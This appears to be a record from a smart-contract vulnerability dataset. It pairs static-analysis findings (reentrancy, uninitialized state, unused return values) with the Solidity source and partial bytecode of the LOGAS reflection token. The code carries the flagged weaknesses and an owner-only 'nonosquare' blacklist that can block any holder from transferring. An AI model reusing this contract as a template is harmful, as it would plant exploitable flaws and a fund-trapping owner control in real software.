fffffffffffffffffffffffffffffffffffffffffff038211156126805761267f6127e4565b5b828201905092915050565b600061269682612788565b91506126a183612788565b9250826126b1576126b0612813565b5b828204905092915050565b60006126c782612788565b91506126d283612788565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561270b5761270a6127e4565b5b828202905092915050565b600061272182612788565b915061272c83612788565b92508282101561273f5761273e6127e4565b5b828203905092915050565b600061275582612768565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127aa82612788565b9050919050565b60005b838110156127cf5780820151818401526020810190506127b4565b838111156127de576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612ac58161274a565b8114612ad057600080fd5b50565b612adc8161275c565b8114612ae757600080fd5b50565b612af381612788565b8114612afe57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209683bc438b391e06c88e0f53f3100dd498b08321f5d3e1a42ae5cc12e267e87164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,007
0xa5ddb0585c29d99505ec4038bd40537344b2d48a
/** Visit our website at www.logas.app Visit our telegram at t.me/logas_eth Visit our twitter account at twitter.com/logas_eth */ pragma solidity ^0.8.7; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LOGAS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "LO-GAS"; string private constant _symbol = "LOGAS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x5128d4656eFe228450A9de0c87DbbFe5fbf89554); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 3; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 3; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(15).div(1000); _maxWalletSize = _tTotal.mul(30).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e36565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061293d565b6104b4565b60405161018e9190612e1b565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fd8565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061297d565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128ea565b61060d565b60405161021f9190612e1b565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612850565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b604051610273919061304d565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129c6565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a20565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612850565b6109dd565b6040516103199190612fd8565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612d4d565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d9190612e36565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c8919061293d565b610c9e565b6040516103da9190612e1b565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a20565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c91906128aa565b6113cb565b60405161046e9190612fd8565b60405180910390f35b60606040518060400160405280600681526020017f4c4f2d4741530000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611452565b848461145a565b6001905092915050565b6000683635c9adc5dea00000905090565b6104eb611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612f18565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c613395565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610601906132ee565b91505061057b565b5050565b600061061a848484611625565b6106db84610626611452565b6106d68560405180606001604052806028815260200161375460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c611452565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb89092919063ffffffff16565b61145a565b600190509392505050565b6106ee611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612f18565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e7611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612f18565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610899611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612f18565b60405180910390fd5b6000811161093357600080fd5b610962606461095483683635c9adc5dea00000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac611452565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611de1565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e4d565b9050919050565b610a36611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612f18565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b89611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612f18565b60405180910390fd5b683635c9adc5dea00000600f81905550683635c9adc5dea00000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4c4f474153000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab611452565b8484611625565b6001905092915050565b610cc4611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612f18565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83683635c9adc5dea00000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd7611452565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611ebb565b50565b610e18611452565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612f18565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612fb8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061145a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fcb57600080fd5b505afa158015610fdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611003919061287d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109d919061287d565b6040518363ffffffff1660e01b81526004016110ba929190612d68565b602060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110c919061287d565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611195306109dd565b6000806111a0610c38565b426040518863ffffffff1660e01b81526004016111c296959493929190612dba565b6060604051808303818588803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112149190612a4d565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061127e6103e8611270600f683635c9adc5dea00000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b600f819055506112b56103e86112a7601e683635c9adc5dea00000611d1c90919063ffffffff16565b611d9790919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611375929190612d91565b602060405180830381600087803b15801561138f57600080fd5b505af11580156113a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c791906129f3565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612f98565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612eb8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116189190612fd8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611695576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168c90612f58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fc90612e58565b60405180910390fd5b60008111611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90612f38565b60405180910390fd5b6000600a819055506003600b81905550611760610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ce575061179e610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ca857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118775750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61188057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561192b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119815750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119995750600e60179054906101000a900460ff165b15611ad757600f548111156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90612e78565b60405180910390fd5b601054816119f0846109dd565b6119fa919061310e565b1115611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3290612f78565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a8657600080fd5b601e42611a93919061310e565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b825750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bee576000600a819055506003600b819055505b6000611bf9306109dd565b9050600e60159054906101000a900460ff16158015611c665750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c7e5750600e60169054906101000a900460ff165b15611ca657611c8c81611ebb565b60004790506000811115611ca457611ca347611de1565b5b505b505b611cb3838383612143565b505050565b6000838311158290611d00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf79190612e36565b60405180910390fd5b5060008385611d0f91906131ef565b9050809150509392505050565b600080831415611d2f5760009050611d91565b60008284611d3d9190613195565b9050828482611d4c9190613164565b14611d8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8390612ef8565b60405180910390fd5b809150505b92915050565b6000611dd983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612153565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e49573d6000803e3d6000fd5b5050565b6000600854821115611e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8b90612e98565b60405180910390fd5b6000611e9e6121b6565b9050611eb38184611d9790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ef357611ef26133c4565b5b604051908082528060200260200182016040528015611f215781602001602082028036833780820191505090505b5090503081600081518110611f3957611f38613395565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611fdb57600080fd5b505afa158015611fef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612013919061287d565b8160018151811061202757612026613395565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061208e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461145a565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120f2959493929190612ff3565b600060405180830381600087803b15801561210c57600080fd5b505af1158015612120573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61214e8383836121e1565b505050565b6000808311829061219a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121919190612e36565b60405180910390fd5b50600083856121a99190613164565b9050809150509392505050565b60008060006121c36123ac565b915091506121da8183611d9790919063ffffffff16565b9250505090565b6000806000806000806121f38761240e565b95509550955095509550955061225186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123328161251e565b61233c84836125db565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123999190612fd8565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea0000090506123e2683635c9adc5dea00000600854611d9790919063ffffffff16565b82101561240157600854683635c9adc5dea0000093509350505061240a565b81819350935050505b9091565b600080600080600080600080600061242b8a600a54600b54612615565b925092509250600061243b6121b6565b9050600080600061244e8e8787876126ab565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb8565b905092915050565b60008082846124cf919061310e565b905083811015612514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250b90612ed8565b60405180910390fd5b8091505092915050565b60006125286121b6565b9050600061253f8284611d1c